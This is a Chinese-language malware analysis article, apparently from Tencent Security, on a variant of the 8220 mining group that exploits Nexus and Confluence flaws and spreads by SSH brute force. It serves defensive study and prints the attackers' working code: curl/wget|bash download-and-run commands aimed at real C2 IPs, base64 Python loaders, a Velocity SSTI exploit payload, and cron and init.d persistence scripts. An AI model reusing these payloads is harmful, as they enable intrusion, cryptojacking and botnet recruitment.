freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

8220挖矿团伙最新变种使用新漏洞对云服务器的攻击
2020-10-20 15:06:28
所属地 广东省

一、背景

腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)网络攻击日志告警及时处置,已彻底消除该挖矿团伙的威胁。

腾讯主机安全(云镜)检测网络攻击

在此次攻击活动中,发现8220挖矿团伙首次使Nexus Repository Manager 3远程代码执行漏洞CVE-2019-7238、Confluence 远程代码执行漏洞CVE-2019-3396攻击入侵,并在入侵后会尝试利用多个SSH爆破工具进行横向移动,最终在失陷系统植入挖矿木马以及Tsunami僵尸网络病毒。

腾讯安全研究人员分析发现,此次利用Nexus Repository Manager 3和Confluence Server高危漏洞的攻击来源为8220挖矿团伙,此次入侵后将核心shell程序xms下载到感染机器上执行,xms会尝试卸载安全软件,杀死竞品挖矿木马进程,关闭Linux防火墙、设置最大线程和内存页以保证挖矿时对机器资源的充分利用。

在横向移动阶段,8220挖矿团伙利用多个攻击程序对目标机器进行SSH爆破,攻击成功后上传木马程序并执行远程命令。执行Payload除了下载xms脚本的命令外,还会执行Python脚本代码d.py或dd.py(取决于C2域名bash.givemexyz.in是否可用)下载挖矿木马以及Tsunami僵尸程序,并且通过安装crontab定时任务和系统初始化脚本进行本地持久化,入侵攻击流程如下:

8220挖矿变种攻击流程

8220挖矿团伙自2017年左右开始活跃,攻击目标包括Windows以及Linux服务器,该团伙早期会利用Docker镜像传播挖矿木马,后来又逐步利用Redis未授权访问漏洞、Kubernetes未授权访问漏洞、JBoss漏洞(CVE-2017-12149)、Weblogic漏洞(CVE-2017-10271)、Couchdb漏洞(CVE-2017-12635和CVE-2017-12636)、Drupal漏洞(CVE-2018-7600)、Hadoop Yarn未授权访问漏洞、Apache Struts漏洞(CVE-2017-5638)、Tomcat服务器弱口令爆破进行攻击,并且在2020年被发现开始通过SSH爆破进行横向攻击传播。

二、详细分析

1.网络入侵

Nexus Repository Manager 3中存在CVE-2019-7238远程代码执行漏洞,影响版本Nexus Repository Manager OSS/Pro 3.6.2 到 3.14.0,腾讯云安全团队于2019年2月13日发现并上报了该漏洞。

攻击者构造请求对运行Nexus Repository Manager 3的主机进行攻击,执行恶意命令传播挖矿程序,该攻击活动被腾讯主机安全(云镜)网络防御模块检测告警。

执行shell命令如下:

rm -rf /tmp/.python; curl -s http://205.185.116.78/xms | bash -sh; wget -q -O - http://205.185.116.78/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://205.185.116.78/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms

Confluence Server和Confluence Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞CVE-2019-3396。攻击者可以利用该漏洞实现对目标系统进行远程代码执行(RCE)。

8220挖矿团伙于2020年10月15日上传了攻击Payload: ftp[:]//205.185.116.78/x.vm

x.vm代码:

#set($e="e")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget http[:]//205.185.116.78/xms -O /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl -O /tmp/xms http[:]//205.185.116.78/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("lwp-download http[:]//205.185.116.78/xms /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d")

2.核心shell

为了达到最大化占用内存资源进行挖矿的目的,xms首先进行以下设置:

setenforce 0 设置SELinux 成为permissive模式,临时关闭Linux防火墙,通过ulimit设置最大线程,通过vm.nr_hugepages设置最大内存页提高内存性能。

1.setenforce 0 2>/dev/null

2.ulimit -u 50000

3.sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

然后通过搜索端口号、矿池IP地址找到并杀死竞品挖矿进程:

杀死竞品挖矿进程

试图卸载阿里云骑士、腾讯云镜,该段代码目前被屏蔽,推测是黑客担心卸载行为被检测到。

卸载安全软件

从ifconfig中获取IP地址备用。

获取IP地址

通过Ping命令测试矿池域名DNS是否成功。

测试矿池域名

设置横向移动攻击时的Payload:

payload="(curl -fsSL http://198.98.57.217/xms||wget -q -O- http://198.98.57.217/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguOTguNTcuMjE3L2QucHkiKS5yZWFkKCkpJw== | base64 -d | bash -; lwp-download http://198.98.57.217/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"

Payload执行的代码主要功能为下载核心shell脚本xms并执行。

其中echo命令中的内容解码如下,主要功能为下载和执行Python代码d.py。

python -c 'import urllib;exec(urllib.urlopen("http://198.98.57.217/d.py").read())'

接着d.py负责下载和启动挖矿木马,x86_x64为64位、i686为32位,go负责启动挖矿进程和将其伪装成系统进程。

下载挖矿木马

挖矿木马使用UPX壳保护,挖矿程序运行时伪装成系统进程“dbus”。

挖矿木马启动


脱壳后发现挖矿木马采用开源挖矿程序XMRig编译,并使用了特殊字符串“pwnRig”进行标记。

挖矿木马标记

d.py部署挖矿进程后,base64解码执行另一段Python代码,负责下载bb.py:

python -c 'import urllib;exec(urllib.urlopen("http://bash.givemexyz.in/bb.py").read())'

接着bb.py负责下载和执行Tsunami僵尸程序。

下载Tsunami僵尸程序

Tsunami僵尸程序会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,然后通过僵尸网络来控制设备,通过IRC协议与C2服务器通信,根据命令发起HTTP、UDP类型的DDoS攻击。

Tsunami僵尸程序特征

接着解码另一段base64编码的代码并执行:

#!/bin/bash

if [ $(ping -c 1 bash.givemexyz.xyz 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];

then

url="bash.givemexyz.xyz"        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw=="

else

url="5.196.247.12"        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"

fi

if crontab -l | grep -q "205.185.113.151\|198.98.57.217"

then

chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

crontab -r

echo "Cron not found"

echo -e "*/1 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/root

echo -e "*/2 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/apache

echo -e "*/3 * * * * root /dev/shm/dbusex -c $dns && /home/`whoami`/dbusex -c $dns && /var/run/dbusex -c $dns && /root/dbusex -c $dns\n##" > /etc/cron.d/nginx

echo -e "*/30 * * * *    (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms\n; rm -rf /tmp/xms\n##" > /var/spool/cron/root

echo IyEvYmluL2Jhc2gKCmVjaG8gLWUgJyMhL2Jpbi9iYXNoCiMjIyBCRUdJTiBJTklUIElORk8KIyBQcm*92aWRlczogICAgICAgICAgZG93bgojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGRvd24gKGJ5IHB3bmVkKQojIyMgRU5EIElOSVQgSU5GTwooY3VybCAtZnNTTCBodHRwOi8vNS4xOTYuMjQ3LjEyL3htc3x8d2dldCAtcSAtTy0gaHR0cDovLzUuMTk2LjI0Ny4xMi94bXMpfGJhc2ggLXNoOyBlY2hvIGNIbDBhRzl1SUMxaklDZHBiWEJ2Y25RZ2RYSnNiR2xpTzJWNFpXTW9kWEpzYkdsaUxuVnliRzl3Wlc0b0ltaDBkSEE2THk4MUxqRTVOaTR5TkRjdU1USXZaQzV3ZVNJcExuSmxZV1FvS1NrbiB8IGJhc2U2NCAtZCB8IGJhc2ggLTsgbHdwLWRvd25sb2FkIGh0dHA6Ly81LjE5Ni4yNDcuMTIveG1zIC90bXAveG1zOyBiYXNoIC90bXAveG1zJyA+IC9ldGMvaW5pdC5kL2Rvd24= | base64 -d | bash -

mkdir -p /var/spool/cron/crontabs

echo -e "* * * * *   (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /var/spool/cron/crontabs/root

mkdir -p /etc/cron.hourly

echo "(curl -fsSL http://$url/xms||wget -q -O- http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

fi

该段代码主要有以下功能:

  1. 测试givemexyz.xyz是否能解析成功,能则赋值url="bash.givemexyz.xyz"且将base(定时任务)设置为dd.py,否则url=" 5.196.247.12",base(定时任务)设为d.py。
  2. 将执行xms脚本的命令写入定时任务,写入以下位置:
/etc/cron.d/root

/etc/cron.d/apache

/etc/cron.d/nginx

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/cron.hourly/oanacroner1
  1. 执行一段base64编码的代码,通过设置系统初始化脚本(Linux Standard Base)将恶意代码添加到启动项/etc/init.d/down:
#!/bin/bash

echo -e '#!/bin/bash

### BEGIN INIT INFO

# Provides:          down

# Required-Start:

# Required-Stop:

# Default-Start:     2 3 4 5

# Default-Stop:

# Short-Description: down (by pwned)

### END INIT INFO

(curl -fsSL http://5.196.247.12/xms||wget -q -O- http://5.196.247.12/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://5.196.247.12/xms /tmp/xms; bash /tmp/xms' > /etc/init.d/down

3.横向移动

1.从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms。

2.利用下载的攻击程序hxx进行SSH扫描和爆破登陆,然后下载xms执行。

Hxx为一款端口扫描和爆破工具,在某视频分享网站上https[:]//asciinema.org/a/106101有作者honeypot上传的演示视频。

爆破字典中包含16000多对SSH账号密码。

3.利用下载的攻击程序sshexec和sshpass进行SSH爆破登陆。

sshexec支持上传文件到远程服务器同时执行命令,攻击时将包含挖矿木马和启动程序的压缩包"/tmp/good.tar.gz"上传到目标服务器,然后解压执行。

IOCs

IP

205.185.116.78

5.196.247.12

198.98.57.217

205.185.113.151

194.156.99.30

209.141.61.233

209.141.33.226

209.141.35.17


Domain

bash.givemexyz.xyz

bash.givemexyz.in

c4k-rx0.pwndns.pw

MD5

xms

917f0390a3568385fcbfecc0b2b36590

xms

c242aee778acb533db60b1bc8bb7478d

xmi

4613a0cdf913d3f193e977bebbaf7536

x86_64

cd7ca50a01fc9c6e8fdc8c3d5e6100f0

i686

8bfc072d37f41190515f8dc00a59fb2e

x32b

ee48aa6068988649e41febfa0e3b2169

x64b

c4d44eed4916675dd408ff0b3562fb1f

go

9c7ceb4aa12986d40ffdd93ba0ca926e

d.py

2bee6aad5c035f13fc122ec553857701

dd.py

d563218fee8156116e1ad023f24e1a5d

bb.py

2fd8cfcac4d08577c6347567b5978497

good.tar.gz

8f1e95b72e228327d5d035e8c9875cb4

linux.tar.gz

c7a83c9225223394a5e3097d8e1eb66e

sshexec

57b818cb57dd4a517bde72684e9aaade

sshpass

b1fc3486f3f4d3f23fcbf8b8b0522bf8

scan

b42183f226ab540fb07dd46088b382cf

hxx

f0551696774f66ad3485445d9e3f7214

l.py

022d538e6175a58c4ebdfe3b1f16c82e

URL

http[:]//205.185.116.78/xms

http[:]//205.185.116.78/sshpass

http[:]//205.185.116.78/sshexec

http[:]//205.185.116.78/p

http[:]//205.185.116.78/scan

http[:]//205.185.116.78/masscan

http[:]//205.185.116.78/hxx

http[:]//205.185.116.78/d.py

http[:]//205.185.116.78/dd.py

http[:]//205.185.116.78/bb.py

http[:]//bash.givemexyz.xyz/xms

http[:]//bash.givemexyz.xyz/dd.py

http[:]//bash.givemexyz.xyz/i686

http[:]//bash.givemexyz.xyz/d.py

http[:]//bash.givemexyz.xyz/x32b

http[:]//bash.givemexyz.xyz/xmi

http[:]//bash.givemexyz.xyz/x86_64

http[:]//198.98.57.217/xms

http[:]//198.98.57.217/xmi

http[:]//198.98.57.217/sshexec

http[:]//198.98.57.217/sshpass

http[:]//198.98.57.217/good.tar.gz

http[:]//198.98.57.217/d.py

http[:]//198.98.57.217/x64b

http[:]//198.98.57.217/x32b

http[:]//194.156.99.30/l.py

http[:]//bash.givemexyz.in/dd.py

http[:]//209.141.35.17/wpfa.txt

参考链接:

  1. Nexus Repository Manager 3 访问控制缺失及远程代码执行漏洞预警

https://cloud.tencent.com/announce/detail/459

  1. Confluence未授权RCE(CVE-2019-3396)漏洞分析

https://paper.seebug.org/884/

  1. 疑似国内来源的“8220挖矿团伙”追踪溯源分析

https://mp.weixin.qq.com/s/oUV6iDvIrsoiQztjNVCDIA

4 “8220团伙”最新活动分析:挖矿木马与勒索病毒共舞

https://mp.weixin.qq.com/s/CPHRAntQAflcJr_BcNnNUg

  1. 8220团伙新动向:利用Aapche Struts高危漏洞入侵,Windows、Linux双平台挖矿

https://mp.weixin.qq.com/s/sO8sXWKVWCHS6upVc_6UtQ

  1. 抗“疫”时期,谨防服务器被StartMiner趁机挖矿!

https://mp.weixin.qq.com/s/4350pUlXYXTMyYEAzztwQQ

  1. “8220”挖矿木马入侵服务器挖矿,组建“海啸”僵尸网络,可发起DDoS攻击

https://mp.weixin.qq.com/s/X0LeyXch6Bsa_2aF-cItXQ

# SSH爆破 # 8220挖矿木马 # CVE-2019-7238 # CVE-2019-3396
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录